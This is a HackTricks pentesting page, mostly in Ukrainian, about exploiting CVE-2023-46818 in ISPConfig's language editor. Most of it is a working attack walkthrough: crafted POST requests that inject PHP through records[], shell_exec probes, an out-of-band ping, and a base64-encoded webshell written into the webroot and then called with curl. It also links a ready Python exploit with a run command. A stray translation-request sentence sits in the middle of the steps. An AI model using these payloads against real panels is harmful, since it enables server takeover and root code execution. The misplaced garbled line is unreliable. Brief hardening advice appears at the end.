92 lines
5.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ISPConfig
{{#include ../../banners/hacktricks-training.md}}
## Огляд
ISPConfig — панель керування хостингом з відкритим вихідним кодом. У старіших збірках 3.2.x була функція редактора мовних файлів, яка при увімкненні для суперадміністратора дозволяла довільну ін’єкцію PHP-коду через пошкоджений запис перекладу. Це може призвести до RCE в контексті веб-сервера і, залежно від способу виконання PHP, до privilege escalation.
Ключові шляхи за замовчуванням:
- Корінь веб-сервера зазвичай знаходиться в `/var/www/ispconfig` при обслуговуванні через `php -S` або через Apache/nginx.
- Admin UI доступний на HTTP(S) vhost (іноді прив'язаний лише до localhost; за потреби використайте SSH port-forward).
Порада: Якщо панель прив'язана локально (наприклад, `127.0.0.1:8080`), перенаправте її:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Language editor PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
### Manual exploitation flow
1) Open/create a language file to obtain CSRF tokens
Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
2) Inject PHP via records[] and save
Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Позаканальний тест (спостереження ICMP):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) Створити файли та розмістити webshell
Використовуйте `file_put_contents` для створення файлу в веб-доступному шляху (наприклад, `admin/`):
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
Потім напиши простий webshell, використовуючи base64, щоб уникнути небажаних символів у POST body:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
Будь ласка, вставте вміст файлу src/network-services-pentesting/pentesting-web/ispconfig.md, який потрібно перекласти.
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
Якщо PHP запускається від імені root (наприклад, через `php -S 127.0.0.1:8080` запущений root), це дає негайний root RCE. В іншому випадку ви отримуєте виконання коду від імені користувача веб-сервера.
### Python PoC
Готовий до використання експлоїт автоматизує token handling та payload delivery:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
Приклад запуску:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### Посилення захисту
- Оновіть до 3.2.11p1 або пізнішої версії
- Вимкніть редактор мов, якщо це не суворо необхідно:
```
admin_allow_langedit=no
```
- Уникайте запуску панелі як root; налаштуйте PHP-FPM або веб-сервер так, щоб скидати привілеї
- Забезпечте надійну аутентифікацію для вбудованого облікового запису `admin`
## References
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../../banners/hacktricks-training.md}}